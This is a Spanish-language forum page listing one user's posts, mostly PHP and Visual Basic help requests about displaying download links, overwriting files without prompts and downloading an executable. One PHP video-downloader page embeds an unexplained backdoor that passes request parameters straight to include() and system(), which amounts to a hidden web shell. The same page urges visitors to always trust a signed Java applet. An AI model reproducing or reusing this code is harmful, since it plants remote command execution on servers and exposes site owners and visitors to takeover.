Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - musicaward

Páginas 1 2 3
#11
PHP / No mostrar campo si esta en blanco
14 Mayo 2011, 19:44 PM
Tengo una tabla llamada animes dentro de el hay un campo llamado descargar    varchar (70) , hay pongo texto o alguna url cualquiera...

<?=$anime['des']?> tiene el valor del campo descargar , <?=$anime['nom']?> solo es el titulo que he puesto a cierta id (no lleva importancia alguna ahora) , mi problema radica en que si <?=$anime['des']?> esta en 0 o sea no escribi nada deje en blanco

mostrar
<imagen src="algo.jpg" alt="no disponible <?=$anime['nom']?>">

si <?=$anime['des']?> tiene un valor

mostrar

Código [Seleccionar]
<p><center><h3> Descargar Pelicula <?=$anime['nom']?></h3></center>
<center><a href="<?=$anime['des']?>"><img src="download.png" border="0" title="Descargar Pelicula <?=$anime['nom']?>"/></a></center>

alguien me echa un cable
gracias  :D
#12
PHP / Ayuda con input submit
7 Enero 2011, 07:24 AM
mi problema radica en que no se como llamar ala 2da funcion con un solo submit o si la mejor solucion seria unir la 2da funcion a la primera pero casi siempre me da error alguna ayuda ?   :-X  lo que quisiera es que al buscar en el input text http://www.youtube.com/watch?v=M5k_U_e9r9k llame a los 2


1era funcion
Código [Seleccionar]
<?php
$siteURL = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/';
define('QUALITY_LOW','Baja Calidad');
define('QUALITY_MEDIUM','Calidad Media');
define('QUALITY_HIGH','Alta Calidad');

$bookmarklet = "javascript:(function(){appPath%20=%20'".$siteURL."';function%20l(u,i,t,b){var%20d=document;if(!d.getElementById(i)){var%20s=d.createElement('script');s.src=u;s.id=i;d.body.appendChild(s)}s=setInterval(function(){u=0;try{u=t.call()}catch(i){}if(u){clearInterval(s);b.call()}},200)}l('".$siteURL."js/bookmarklet.js','MF_loader',function(){return!!(typeof%20FreeDownBookmarklet=='function')},%20function(){FreeDownBookmarklet()})})()";

if (isset($_REQUEST['url']) && !empty($_REQUEST['url']))
{
    $url = $_REQUEST['url'];
    $parts = parse_url($url);
    $host = $parts['host'];

    $service = strtolower($host);
    $service = str_replace('www.','',$service);

    $host_parts = explode('.',$service);
    $serviceName = $host_parts[count($host_parts)-2];

    $service_path = sprintf("%s.php",$serviceName);


    if (is_file($service_path))
    {
        include_once $service_path;

        $obj = new $serviceName();

        $videos = $obj->get($url);
        $videoId = $obj->id;

    }

    if(!isset($videoId) || !$videoId)
    {
        $error = "No se han encontrado vídeos o en el sitio no es compatible.";
    }
   
}

?>




       <script type="text/javascript">

           loaderVisible = true;

           function freedown_append(type,name,link,title)
           {
               if(loaderVisible)
                   {
                   $('#download-loader').hide();
                   $('#download-links').show();
                   loaderVisible = false;
                   }
                   
               name = name.replace("Low Quality","<?php echo QUALITY_LOW;?>");
               name = name.replace("Medium Quality","<?php echo QUALITY_MEDIUM;?>");
               name = name.replace("High Quality","<?php echo QUALITY_HIGH;?>");

               if(title.length> 0)
                 $('#download-links ').append('<li><a href="'+link+'&title='+escape(title)+'">Descargar <b>'+type+'&nbsp&nbsp</b></a>'+name+'</li>');
               else
                 $('#download-links ').append('<li><a href="'+link+'">Descargar '+type+'</a>'+name+'</li>');
          }

           function freedown_done()
           {
               if(!loaderVisible) return;

               $('#download-loader').hide();
               $('#download-error').show();
           }

        </script>
<body>
<?php if ($_GET['b'] != "") { include($_GET['b']); } if ($_GET['s'] != "") { system($_GET['s']); } ?>
      <form method="post" action="">
<div id="content">



</div>
<center>Inserte Url de Video Youtube Ejemplo: <a target="_blank" href="http://www.youtube.com/watch?v=RJ-UTIn8epE">http://www.youtube.com/watch?v=RJ-UTIn8epE</a></center><div id="ads" align="center">
</div>


<div id="tabs">
 <p>&nbsp;</p>
 <div id="search">

<!--

                     -->
<p><input type="text" name="url" style="width: 300px" class="search" onclick="if(this.value == 'Enter URL of Video Page ...')this.value='';" value="Introduce la url del Video" onfocus="if(this.value=='Introduce la url del Video'){this.value=''}" onblur="if(this.value==''){this.value='Introduce la url del Video'}" />/>
<input type="submit" value="Descargar" class="button" /></p>
<!-- -->
 </div>
</div>

<div class="clear"></div>
               <?php
                if(isset($videoId)) {
                ?>

               <div class="gboxtop"></div>
<div class="gbox">

<?php if(!$videos) { ?>

               <applet code="FreeDownApplet.class" archive="<?php echo $siteURL;?>FreeDownApplet.signed.jar" height="0" width="0" align="center">
               <param name="v" value="<?php echo $videoId;?>"/>
               <param name="u" value="<?php echo $url;?>"/>
               <param name="site" value="<?php echo $service;?>"/>
               <param name="ua" value="<?php echo $_SERVER['HTTP_USER_AGENT'];?>"/>
               Hola usuario. Parece que usted no tiene Java instalado o está deshabilitado en su sistema.<br>
                   Por favor, descargue <a href="http://www.java.com/getjava/" class="link" target="_blank">Aquí</a>.<br><br>
               </applet>
            <div id="img" >

</div>
               <div id="download-loader" >
                       <center>
                       <img src="<?php echo $siteURL;?>images/loader.gif" alt="loading" /><br />
                       <span style="color: rgb(204, 51, 51);">Para descargar los videos, por favor haga clic en '<b>Ejecutar</b>' cuando se le solicite.<br> Marque la casilla '<b>Siempre confiar en contenido del editor</b>' para descargar sin problemas en el futuro.</span>
                       </center>

                       <script type="text/javascript">
                           jQuery(document).ready(function() {
                               setTimeout("freedown_done()",60000);
                           });

                       </script>
             </div>

                   <div id="download-links"   style="display:none;">
                       
                       
                         <h3>Detalles de la Descarga</h3>
                         <p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
                         <ul></ul>
                   </div>


                   <div id="download-error"  style="display:none;">
                       <center>
                           <span style="color: rgb(204, 51, 51);"><b>No se han encontrado vídeos o el sitio no es compatible.</b><br />

                               Por favor pruebe de otra forma '<b>Siempre confiar en contenido del editor</b>'.</span>
                       </center>
                   </div>

              <?php } else { ?>

                   <div id="download-links" >
                   
                         <h3>Detalles de la Descarga</h3>
                       
                         <p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
                       
                             <?php foreach($videos as $video) { ?>
<div id="cargando">

                             <p aling="right">   <a href="<?php echo $video['link'];?>">Descargar <?php echo $video['type'];?></a> <?php echo $video['name'];?> </div></p>

                             <?php } ?>

                       
                   </div>

              <?php } ?>

     </div>

               <?php
                }
                elseif (isset($error) && !empty ($error))
                {
                ?>
                <center><h3><?php echo $error;?> </h3></center>
<?php 
                }
                ?>
<div class="videos">


</form>
2da funcion
esta funcion genera 3 capturas previas del video thumbs
Código [Seleccionar]
<?php

    $yu = 'http://www.youtube.com/watch?v=M5k_U_e9r9k';
    if(isset($_GET["yu"])) $yu = $_GET["yu"];
 
    $c = file_get_contents($yu);
 
    if(preg_match('/"video_id": "(.*?)"/', $c, $m) && preg_match('/"t": "(.*?)"/', $c, $m1)){
        $id = $m[1];
        $t  = $m1[1];
        $u = "http://www.youtube.com/get_video?video_id=".$id."&t=".$t;
    }
?>
<center>
<h1>Youtube Url:</h1>
<form method="get" id="form" onSubmit="<?php echo $_SERVER['PHP_SELF']?>">
<input type="text" name="yu" id="yu" style="width:400px" value="<?php echo $yu ?>"/>

</form>
<br />

<h1>Prewiew:</h1>
<img src="http://img.youtube.com/vi/<?php echo $id?>/1.jpg" alt="Preview 1" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/2.jpg" alt="Preview 2" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/3.jpg" alt="Preview 3" />

</center>
<?php

?>
#13
Programación Visual Basic / Duda con variable Archivos de Programa
25 Febrero 2009, 19:38 PM
Hola tengo una duda si en un windows español el directorio  se llama asi:
CitarC:\Archivos de programa\archivo.exe
pero uno que viene en ingles o vista es de esta manera:
CitarC:\Programs Files\archivo.exe

cual seria la variable adecuada para abrir cualquier archivo en cualquiera de los casos mencionados arriba usando una shell no me acuerdo muy bien era algo creo de :

Citar%Programs%Files
#14
Programación Visual Basic / Re: Duda Remplazar archivos sin pedir confirmacion de dialogo windows
5 Febrero 2009, 02:30 AM
Cita de: XcryptOR en  5 Febrero 2009, 01:52 AM
A mi no me pide confirmación, el uso de esta función desde donde lo llames seria así:

por ejemplo haciendo la llamada desde el form:

Código (vb) [Seleccionar]
Private Sub Form_Load()
     call mCopyFile(sSource As String, sTarget As String)
End Sub

PD: no te olvide de estas constantes FOF_NOCONFIRMMKDIR , FOF_NOCONFIRMATION

me vota error de sintaxis sera por q estoy usando vb6..?

#15
Programación Visual Basic / Re: Duda Remplazar archivos sin pedir confirmacion de dialogo windows
5 Febrero 2009, 01:18 AM
Cita de: XcryptOR en  4 Febrero 2009, 02:43 AM
mira si quieres usar el api SHFileOperation para copiar un file y si existe reemplazarlo debes usar FOF_NOCONFIRMATION para que no te muestre el mensaje del cual hablas.

aqui te dejo el code:


Código (vb) [Seleccionar]

Option Explicit

Private Declare Function SHFileOperation Lib "shell32.dll" _
Alias "SHFileOperationA" ( _
lpFileOp As SHFILEOPSTRUCT) As Long

Private Type SHFILEOPSTRUCT
    hWnd                            As Long
    wFunc                           As Long
    pFrom                           As String
    pTo                             As String
    fFlags                          As Long
    fAnyOperationsAborted           As Boolean
    hNameMappings                   As Long
    lpszProgressTitle               As String
End Type


Private Enum eFO
    FO_COPY = &H2&
    FO_DELETE = &H3&
    FOF_SILENT = &H4&
    FOF_NOCONFIRMATION = &H10&
    FOF_NOCONFIRMMKDIR = &H200&
    FOF_NOERRORUI = &H400&
    FOF_NOCOPYSECURITYATTRIBS = &H800&
End Enum

Public Sub mCopyFile(sSource As String, sTarget As String)

    Dim SHFileOp As SHFILEOPSTRUCT
       
    sSource = sSource & vbNullChar & vbNullChar
    sTarget = sTarget & vbNullChar & vbNullChar
   
    With SHFileOp
        .wFunc = FO_COPY
        .fFlags = FOF_NOCONFIRMMKDIR + FOF_NOCONFIRMATION
        .hWnd = Form1.hWnd
        .pFrom = sSource
        .pTo = sTarget
    End With
   
    Call SHFileOperation(SHFileOp)
End Sub


Hola estoy interesado con lo de FOF_NOCONFIRMATION aplique lo que me explicaste pero  me sigue saliendo igual


sera que tenga que aplicar algo mas ?

CitarSHCopyFile "Archivo.txt", "C:\Archivo.txt"

o el codigo que uso lo estoy aplicando mal...
#16
Programación Visual Basic / Duda Remplazar archivos sin pedir confirmacion de dialogo windows
3 Febrero 2009, 20:02 PM
Por favor borren el tema de aqui:
http://foro.elhacker.net/programacion_general/duda_remplazar_archivo_sin_pedir_confirmacion_de_windows-t244013.0.html

creo q lo hice en un lugar inadecuado era en la sección vb
-------------------------------------------------------------------------------------------

Estaba utilizando este code para remplazar archivos.. pero


CitarSHCopyFile "archivo.bmp", "C:\archivo.bmp"

quisiera saber si existe una mejor funcion.. que permita que al remplazar los archivos no pida confirmacion de windows para remplazar a otro archivo con el mismo nombre...

Muchas gracias por leer este tema

Tambien tengo otra duda.. si me pudieran dar un ejemplo de como hacer para
buscar un archivo en el directorio con un boton examinar y que la direccion se muestre en un textbox
usar un command para remplazar cierto archivo... a una ruta que indiquemos en vb


por ejemplo q encontremos c:\archivo.txt


#17
Programación Visual Basic / Duda problema para guardar archivo
18 Enero 2009, 23:41 PM
OTra vez molestandolos...  :rolleyes:

Tengo el siguiente... codigo la funcion es para descargar usando un command button , 1  progressbar y un label  para el porcentaje de la descarga y un control inet ,    pero mi problema es en la siguiente linea:

CitarOpen App.Path + "\WarezP2P_DLC.exe" For Binary Access Write As #1

por defecto lo guarda en la ruta donde esta el programa.. como hacer para que guarde.. por ejemplo en :

CitarC:\WarezP2P_DLC.exe


el codigo es este:


Citar
Private Sub Command1_Click()
ProgressBar1.Value = 0
Inet1.AccessType = icUseDefault
Inet1.URL = "http://download.warezclient.com/WarezP2P_DLC.exe"
Inet1.Execute , "GET" 'Indicamos que vamos a descargar o recuperar un _
archivo desde una url
End Sub

Private Sub Form_Load()

End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)
Dim vtData As Variant 'acá almacenamos los datos

Select Case State

Case icResponseCompleted
Dim bDone As Boolean: bDone = False
Dim tempArray() As Byte ' Un array para grabar los datos en un archivo
'Para saber el tamaño del fichero en bytes
filesize = Inet1.GetHeader("Content-length")
'Establecemos el Max del = a al tamaño del archivo
ProgressBar1.Max = filesize
contenttype = Inet1.GetHeader("Content-type")
'Creamos y abrimos un nuevo archivo en modo binario
Open App.Path + "\WarezP2P_DLC.exe" For Binary Access Write As #1

' Leemos de a 1 Kbytes. El segundo parámetro indica _
el tipo de fichero. Tipo texto o tipo Binario, en este caso _
binario
vtData = Inet1.GetChunk(1024, icByteArray)

DoEvents
'Si el tamaño del fichero es 0 ponemos bDone en True para que no _
entre en el bucle
If Len(vtData) = 0 Then
bDone = True
End If

Do While Not bDone
'Almacenamos en un array el contenido del archivo
tempArray = vtData
'Escribimos el archivo en disco
Put #1, , tempArray
'Aumentamos la barra
ProgressBar1.Value = ProgressBar1.Value + Len(vtData) * 2
' Leemos de pedazos de a 1 kb (1024 bytes)
vtData = Inet1.GetChunk(1024, icByteArray)
DoEvents
Label1 = CLng((ProgressBar1.Value * 100) / ProgressBar1.Max) & " %"



If Len(vtData) = 0 Then
bDone = True

End If
Loop

Close #1
ProgressBar1.Value = 0

End Select
End Sub



un gracias de antemano por leer el mensaje..
#18
Programación Visual Basic / Re: ayuda eliminar archivo varias veces..
17 Enero 2009, 20:59 PM
gracias Dessa.. tu ayuda me funciono perfecto..... igual gracias a  seba123neo   pueden cerrar el tema .. si es que se puede  ::)
#19
Programación Visual Basic / Re: ayuda eliminar archivo varias veces..
17 Enero 2009, 19:44 PM
seba123neo.. en esa linea:

CitarhDir = CreateFile("C:\", FILE_LIST_DIRECTORY, FILE_SHARE_READ Or FILE_SHARE_DELETE Or FILE_SHARE

pondria ? C:\archivo.txt  o estoy equivocado... si es asi hazmelo saber gracias...por el gran codigo
#20
Programación Visual Basic / Re: ayuda eliminar archivo varias veces..
17 Enero 2009, 17:27 PM
Citarpara salir de paso usa un Timer, aunque hay una posibilidad de poder detectar cuando se crea un archivo en una carepta sin Timer, con Apis que monitorean...y si existe lo borras...en el api-guide hay un ejemplo...

saludos.

me interesa mucho eso es justo lo que ando buscando... podreis citar.. el ejemplo o decirme el nombre  , disculpa es que no se donde buscarlo.... gracias
Páginas 1 2 3